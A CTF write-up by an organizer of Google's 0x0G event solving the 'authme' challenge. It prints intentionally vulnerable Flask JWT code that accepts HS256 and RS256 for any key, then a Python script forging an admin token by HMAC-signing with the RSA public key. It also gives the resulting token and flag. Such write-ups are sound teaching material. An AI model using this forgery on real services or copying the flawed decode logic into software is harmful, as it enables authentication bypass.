0x0G is Google’s annual “Hacker Summer Camp” event. Normally this would be in Las Vegas during the week of DEF CON and Black Hat, but well, pandemic rules apply. I’m one of the organizers for the CTF we run during the event, and I thought I’d write up solutions to some of my challenges here.

The first such challenge is authme, a web/crypto challenge. The description just wants to know if you can auth as admin and directs you to a website. On the website, we find a link to the source code, to an RSA public key, and a login form.

Attempting to login, we are told to try “test/test” for demo purposes. Using “test/test”, we are logged in, but it just says “Welcome, test” – not the exciting output we were hoping for. Let’s examine the source:

  1import flask
  2import jwt
  3import collections
  4import logging
  5import hashlib
  6
  7
  8app = flask.Flask(__name__)
  9app.logger.setLevel(logging.INFO)
 10
 11KeyType = collections.namedtuple(
 12        'KeyType',
 13        ('algo', 'pubkey', 'key'),
 14        defaults=(None, None))
 15
 16COOKIE_NAME = 'authme_session'
 17
 18DEFAULT_KEY = 'k2'
 19KEYS = {
 20        'k1': KeyType(
 21            'HS256',
 22            key=open('k1.txt').read().strip()),
 23        'k2': KeyType(
 24            'RS256',
 25            key=open('privkey.pem').read().strip(),
 26            pubkey=open('pubkey.pem').read().strip()),
 27        }
 28
 29FLAG = open('flag.txt', 'r').read()
 30
 31
 32def jwt_encode(payload, kid=DEFAULT_KEY):
 33    key = KEYS[kid]
 34    return jwt.encode(
 35            payload,
 36            key=key.key,
 37            algorithm=key.algo,
 38            headers={'kid': kid})
 39
 40
 41def jwt_decode(data):
 42    header = jwt.get_unverified_header(data)
 43    kid = header.get('kid')
 44    if kid not in KEYS:
 45        raise jwt.InvalidKeyError("Unknown key!")
 46    return jwt.decode(
 47            data,
 48            key=(KEYS[kid].pubkey or KEYS[kid].key),
 49            algorithms=['HS256', 'RS256'])
 50
 51
 52def get_user_info():
 53    sess = flask.request.cookies.get(COOKIE_NAME)
 54    if sess:
 55        return jwt_decode(sess)
 56    return None
 57
 58
 59@app.route("/")
 60def home():
 61    try:
 62        user = get_user_info()
 63    except Exception as ex:
 64        app.logger.info('JWT error: %s', ex)
 65        return flask.render_template(
 66                "index.html",
 67                error="Error loading session!")
 68    return flask.render_template(
 69            "index.html",
 70            user=user,
 71            flag=FLAG,
 72            )
 73
 74
 75@app.route("/login", methods=['POST'])
 76def login():
 77    u = flask.request.form.get('username')
 78    p = flask.request.form.get('password')
 79    if u == "test" and p == "test":
 80        # do login
 81        resp = flask.redirect("/")
 82        resp.set_cookie(COOKIE_NAME, jwt_encode({"username": u}))
 83        return resp
 84    # render login error page
 85    return flask.render_template(
 86            "index.html",
 87            error="Invalid username/password.  Try test/test for testing!"
 88            )
 89
 90
 91@app.route("/pubkey/<kid>")
 92def get_pubkey(kid):
 93    if kid in KEYS:
 94        key = KEYS[kid].pubkey
 95        if key is not None:
 96            resp = flask.make_response(key)
 97            resp.headers['Content-type'] = 'text/plain'
 98            return resp
 99    flask.abort(404)
100
101
102@app.route("/authme.py")
103def get_authme():
104    contents = open(__file__).read()
105    resp = flask.make_response(contents)
106    resp.headers['Content-type'] = 'text/plain'
107    return resp
108
109
110def prepare_key(unused_self, k):
111    if k is None:
112        raise ValueError('Missing key!')
113    if len(k) < 32:
114        return jwt.utils.force_bytes(hashlib.sha256(k).hexdigest())
115    return jwt.utils.force_bytes(k)
116
117
118jwt.algorithms.HMACAlgorithm.prepare_key = prepare_key

A few things should stand out to you:

  • The flag is passed to the template no matter what, so it’s probably some simple template logic to determine whether or not to show the flag.
  • The only username and password accepted for login is a hard-coded value of “test” and “test”.
  • We see that JWTs are being used to manage user sessions. These are stored in a session cookie, creatively called authme_session.
  • There’s multiple keys and algorithms supported.

The RSA public key is provided, but there’s no indication that it’s a weak key in any way. (It’s not, as far as I know…) When verifying the JWT, it’s worth noting that rather than passing the algorithm for the specific key, the library is passed both RS256 and HS256. This means that both keys can be used with both algorithms when decoding the session.

Using an HMAC-SHA-256 key as an RSA key is probably not helpful (especially if you don’t know the HMAC key), but what about the reverse – using an RSA key as an HMAC-SHA-256 key? Examining the code, it shows that the public key is passed in to the verification function. Maybe we can sign a JWT using the public RSA key, but the HS256 algorithm in the JWT?

 1import jwt
 2
 3def prepare_key(unused_self, k):
 4    if k is None:
 5        raise ValueError('Missing key!')
 6    if len(k) < 32:
 7        return jwt.utils.force_bytes(hashlib.sha256(k).hexdigest())
 8    return jwt.utils.force_bytes(k)
 9
10jwt.algorithms.HMACAlgorithm.prepare_key = prepare_key
11
12key = open('k2', 'rb').read()
13print(jwt.encode({"username": "admin"}, key=key, algorithm='HS256',
14    headers={"kid": "k2"}))

prepare_key is copied directly from the authme source. This prints a JWT, but does it work?

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImsyIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.4DQoSTcZtY1nSzclaEEcp03_C51yR7tneNzYWm6QDuc

If we put this into our session cookie in our browser and refresh, we’re presented with the reward:

0x0g{jwt_lots_of_flexibility_to_make_mistakes}

This is a vulnerability called JWT Algorithm Confusion. See Critical vulnerabilities in JSON Web Token libraries, JSON Web Token attacks and vulnerabilities for more about this.